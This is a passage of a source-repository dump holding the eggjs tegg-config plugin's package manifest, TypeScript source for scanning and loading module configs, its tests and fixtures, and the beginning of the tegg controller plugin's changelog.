    "content": "{\n  \"name\": \"@eggjs/tegg-config\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"module config plugin for egg\",\n  \"keywords\": [\n    \"config\",\n    \"egg\",\n    \"module\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/config\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/config\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/ModuleScanner\": \"./src/lib/ModuleScanner.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/ModuleScanner\": \"./dist/lib/ModuleScanner.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggConfig\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/src/agent.ts",
    "content": "import TeggConfigAppHook from './app.ts';\n\nexport default TeggConfigAppHook;\n"
  },
  {
    "path": "tegg/plugin/config/src/app.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport type { ModuleReference } from '@eggjs/tegg-common-util';\nimport type { Application, ILifecycleBoot } from 'egg';\n\nimport { ModuleScanner } from './lib/ModuleScanner.ts';\n\nconst debug = debuglog('egg/tegg/plugin/config/app');\n\nexport default class App implements ILifecycleBoot {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n    const configNames = this.app.loader.getTypeFiles('module');\n    ModuleConfigUtil.setConfigNames(configNames);\n  }\n\n  configWillLoad(): void {\n    const { readModuleOptions } = this.app.config.tegg;\n    // Auto-exclude outDir (e.g. dist/) from module scanning to avoid\n    // duplicate modules when both source and compiled output exist\n    const outDir = this.app.loader.outDir;\n    if (outDir) {\n      const extraFilePattern = readModuleOptions.extraFilePattern || [];\n      const excludePattern = `!**/${outDir}`;\n      if (!extraFilePattern.includes(excludePattern)) {\n        readModuleOptions.extraFilePattern = [...extraFilePattern, excludePattern];\n      }\n    }\n    const moduleScanner = new ModuleScanner(this.app.baseDir, readModuleOptions);\n    let moduleReferences = moduleScanner.loadModuleReferences();\n\n    // When outDir is configured and compiled output exists, rewrite module paths\n    // from source (e.g. app/port/) to compiled output (e.g. dist/app/port/)\n    // so that LoaderUtil can find .js files in production mode\n    if (outDir) {\n      moduleReferences = this.#rewriteModulePaths(moduleReferences, outDir);\n    }\n\n    this.app.moduleReferences = moduleReferences;\n    debug('load moduleReferences: %o', this.app.moduleReferences);\n\n    this.app.moduleConfigs = {};\n    for (const reference of this.app.moduleReferences) {\n      const absoluteRef: ModuleReference = {\n        path: ModuleConfigUtil.resolveModuleDir(reference.path, this.app.baseDir),\n        name: reference.name,\n        optional: reference.optional,\n      };\n\n      const moduleName = ModuleConfigUtil.readModuleNameSync(absoluteRef.path);\n      this.app.moduleConfigs[moduleName] = {\n        name: moduleName,\n        reference: absoluteRef,\n        config: ModuleConfigUtil.loadModuleConfigSync(absoluteRef.path),\n      };\n    }\n\n    debug('load moduleConfigs: %o', this.app.moduleConfigs);\n  }\n\n  #rewriteModulePaths(refs: readonly ModuleReference[], outDir: string): readonly ModuleReference[] {\n    const baseDir = this.app.baseDir;\n    return refs.map((ref) => {\n      // Only rewrite paths inside baseDir (not node_modules etc.)\n      if (!ref.path.startsWith(baseDir + path.sep)) return ref;\n      const relativePath = path.relative(baseDir, ref.path);\n      // Skip if already under outDir\n      if (relativePath.startsWith(outDir + path.sep)) return ref;\n      const outDirPath = path.join(baseDir, outDir, relativePath);\n      if (fs.existsSync(outDirPath)) {\n        debug('rewrite module path: %o => %o', ref.path, outDirPath);\n        return { ...ref, path: outDirPath };\n      }\n      return ref;\n    });\n  }\n\n  async beforeClose(): Promise<void> {\n    ModuleConfigUtil.setConfigNames(undefined);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/src/config/config.default.ts",
    "content": "import type { EggAppInfo, PartialEggConfig } from 'egg';\n\nfunction configFactory(appInfo: EggAppInfo): PartialEggConfig {\n  return {\n    tegg: {\n      readModuleOptions: {\n        // https://github.com/eggjs/tegg/blob/33e749cc82a74411684db360b30f24ed0083dd95/core/common-util/src/ModuleConfig.ts#L29\n        deep: 10,\n        cwd: appInfo.baseDir,\n      },\n    },\n  };\n}\n\nexport default configFactory;\n"
  },
  {
    "path": "tegg/plugin/config/src/index.ts",
    "content": "import './types.ts';\n"
  },
  {
    "path": "tegg/plugin/config/src/lib/ModuleScanner.ts",
    "content": "import { readFileSync } from 'node:fs';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { ModuleConfigUtil, type ModuleReference, type ReadModuleReferenceOptions } from '@eggjs/tegg-common-util';\nimport { importResolve } from '@eggjs/utils';\n\nconst debug = debuglog('egg/tegg/plugin/config/ModuleScanner');\n\nexport class ModuleScanner {\n  private readonly baseDir: string;\n  private readonly readModuleOptions: ReadModuleReferenceOptions;\n\n  constructor(baseDir: string, readModuleOptions: ReadModuleReferenceOptions) {\n    this.baseDir = baseDir;\n    this.readModuleOptions = readModuleOptions;\n  }\n\n  /**\n   * - load module references from config or scan from baseDir\n   * - load framework module as optional module reference\n   */\n  loadModuleReferences(): readonly ModuleReference[] {\n    const moduleReferences = ModuleConfigUtil.readModuleReference(this.baseDir, this.readModuleOptions || {});\n    const appPkg: { egg?: { framework?: string } } = JSON.parse(\n      readFileSync(path.join(this.baseDir, 'package.json'), 'utf-8'),\n    );\n    const framework = appPkg.egg?.framework;\n    if (!framework) {\n      return ModuleConfigUtil.deduplicateModules(moduleReferences);\n    }\n    const frameworkPkg = importResolve(`${framework}/package.json`, {\n      paths: [this.baseDir],\n    });\n    const frameworkDir = path.dirname(frameworkPkg);\n    debug('loadModuleReferences from framework:%o, frameworkDir:%o', framework, frameworkDir);\n    const optionalModuleReferences = ModuleConfigUtil.readModuleReference(frameworkDir, this.readModuleOptions || {});\n\n    // Merge all module references and deduplicate\n    const allModuleReferences = [\n      ...moduleReferences,\n      ...optionalModuleReferences.map((ref) => ({ ...ref, optional: true })),\n    ];\n\n    return ModuleConfigUtil.deduplicateModules(allModuleReferences);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/src/types.ts",
    "content": "import type { ReadModuleReferenceOptions, ModuleReference, ModuleConfigHolder } from '@eggjs/tegg-common-util';\n\ndeclare module 'egg' {\n  interface EggAppConfig {\n    /**\n     * tegg config\n     */\n    tegg: {\n      readModuleOptions: ReadModuleReferenceOptions;\n    };\n  }\n\n  // export type ModuleReference = ModuleReferenceAlias;\n\n  interface ModuleConfig {}\n\n  // interface ModuleConfigHolder {\n  //   name: string;\n  //   config: ModuleConfig;\n  //   reference: ModuleReference;\n  // }\n\n  // interface ModuleConfigApplication {\n  //   moduleReferences: readonly ModuleReference[];\n  //   moduleConfigs: Record<string, ModuleConfigHolder>;\n  // }\n\n  interface EggApplicationCore {\n    moduleReferences: readonly ModuleReference[];\n    moduleConfigs: Record<string, ModuleConfigHolder>;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/test/DuplicateOptionalModule.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('plugin/config/test/DuplicateOptionalModule.test.ts', () => {\n  let app: MockApplication;\n  afterAll(async () => {\n    await app.close();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/duplicate-optional-module'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    console.log(app.moduleReferences);\n    console.log(app.moduleConfigs);\n    expect(app.moduleReferences.length).toBe(2);\n    expect(Object.keys(app.moduleConfigs).length).toBe(2);\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/config/test/ReadModule.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('plugin/config/test/ReadModule.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/app-with-modules'),\n    });\n    await app.ready();\n  });\n\n  it('should work', () => {\n    expect(app.moduleConfigs).toEqual({\n      moduleA: {\n        config: {},\n        name: 'moduleA',\n        reference: {\n          optional: undefined,\n          name: 'moduleA',\n          path: getFixtures('apps/app-with-modules/app/module-a'),\n        },\n      },\n    });\n    expect(app.moduleReferences).toEqual([\n      {\n        optional: undefined,\n        name: 'moduleA',\n        path: getFixtures('apps/app-with-modules/app/module-a'),\n      },\n    ]);\n  });\n\n  it('should type defines work', () => {\n    expect(app.moduleConfigs).toBeDefined();\n    expect(app.moduleReferences).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/app-with-modules/app/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/app-with-modules/config/config.default.ts",
    "content": "export default () => {\n  return {\n    tegg: {\n      readModuleOptions: {\n        extraFilePattern: ['!**/dist'] as string[],\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/app-with-modules/config/plugin.ts",
    "content": "export default {\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/app-with-modules/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport type { EggConfigFactory } from 'egg';\n\nconst factory: EggConfigFactory = (appInfo) => {\n  const config = {\n    keys: 'test key',\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n    security: {\n      csrf: {\n        ignoreJSON: false,\n      },\n    },\n  };\n  return config;\n};\n\nexport default factory;\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  watcher: false,\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/node_modules/foo/index.ts",
    "content": "export * from 'egg';\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/node_modules/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"dependencies\": {\n    \"used\": \"*\",\n    \"unused\": \"*\"\n  },\n  \"type\": \"module\",\n  \"module\": \"./index.ts\"\n}\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/node_modules/unused/Unused.js",
    "content": "'use strict';\nvar __decorate =\n  (this && this.__decorate) ||\n  function (decorators, target, key, desc) {\n    var c = arguments.length,\n      r = c < 3 ? target : desc === null ? (desc = Object.getOwnPropertyDescriptor(target, key)) : desc,\n      d;\n    if (typeof Reflect === 'object' && typeof Reflect.decorate === 'function')\n      r = Reflect.decorate(decorators, target, key, desc);\n    else\n      for (var i = decorators.length - 1; i >= 0; i--)\n        if ((d = decorators[i])) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;\n    return c > 3 && r && Object.defineProperty(target, key, r), r;\n  };\nObject.defineProperty(exports, '__esModule', { value: true });\nexports.UnusedProto = void 0;\nconst tegg_core_decorator_1 = require('../../../../../../../../core/core-decorator/src/index.ts');\nlet UnusedProto = class UnusedProto {};\nexports.UnusedProto = UnusedProto;\nexports.UnusedProto = UnusedProto = __decorate([(0, tegg_core_decorator_1.SingletonProto)()], UnusedProto);\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/node_modules/unused/package.json",
    "content": "{\n  \"name\": \"unused\",\n  \"eggModule\": {\n    \"name\": \"unused\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/node_modules/used/Used.js",
    "content": "'use strict';\nvar __decorate =\n  (this && this.__decorate) ||\n  function (decorators, target, key, desc) {\n    var c = arguments.length,\n      r = c < 3 ? target : desc === null ? (desc = Object.getOwnPropertyDescriptor(target, key)) : desc,\n      d;\n    if (typeof Reflect === 'object' && typeof Reflect.decorate === 'function')\n      r = Reflect.decorate(decorators, target, key, desc);\n    else\n      for (var i = decorators.length - 1; i >= 0; i--)\n        if ((d = decorators[i])) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;\n    return c > 3 && r && Object.defineProperty(target, key, r), r;\n  };\nObject.defineProperty(exports, '__esModule', { value: true });\nexports.UsedProto = void 0;\nconst tegg_core_decorator_1 = require('../../../../../../../../core/core-decorator/src/index.ts');\nlet UsedProto = class UsedProto {};\nexports.UsedProto = UsedProto;\nexports.UsedProto = UsedProto = __decorate(\n  [\n    (0, tegg_core_decorator_1.SingletonProto)({\n      accessLevel: tegg_core_decorator_1.AccessLevel.PUBLIC,\n    }),\n  ],\n  UsedProto\n);\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/node_modules/used/package.json",
    "content": "{\n  \"name\": \"used\",\n  \"eggModule\": {\n    \"name\": \"used\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/test/fixtures/apps/duplicate-optional-module/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"used\": \"*\"\n  },\n  \"egg\": {\n    \"framework\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/config/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "tegg/plugin/config/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/controller/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n\n### Features\n\n* expand register add loadUnit ([#251](https://github.com/eggjs/tegg/issues/251)) ([8a1649d](https://github.com/eggjs/tegg/commit/8a1649d5ea539d22c7cfd8881595247a07e3fbd7))\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n\n### Features\n\n* add http cookies ([#235](https://github.com/eggjs/tegg/issues/235)) ([f46efa5](https://github.com/eggjs/tegg/commit/f46efa54b03bad41504bf76f6ed2baa8c48858ce))\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n\n### Features\n\n* @Middleware support Advice ([#231](https://github.com/eggjs/tegg/issues/231)) ([613a89d](https://github.com/eggjs/tegg/commit/613a89da7ea6dd70d50e34aa9f4152358a622625))\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n\n### Features\n\n* add HTTPHeaders decorator ([#208](https://github.com/eggjs/tegg/issues/208)) ([4678c45](https://github.com/eggjs/tegg/commit/4678c450d8b3c632bbdbe2b49b9c02e99f16733c))\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n\n### Features\n\n* impl dal for standalone tegg ([#197](https://github.com/eggjs/tegg/issues/197)) ([56b259d](https://github.com/eggjs/tegg/commit/56b259d7215a9d9542b36e421996623819369846))\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n\n### Features\n\n* support Request  decorators for HTTPController ([#159](https://github.com/eggjs/tegg/issues/159)) ([945e1eb](https://github.com/eggjs/tegg/commit/945e1eb18237f40879acdd2e43cd53dd2e8272a9))\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-controller-plugin\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) 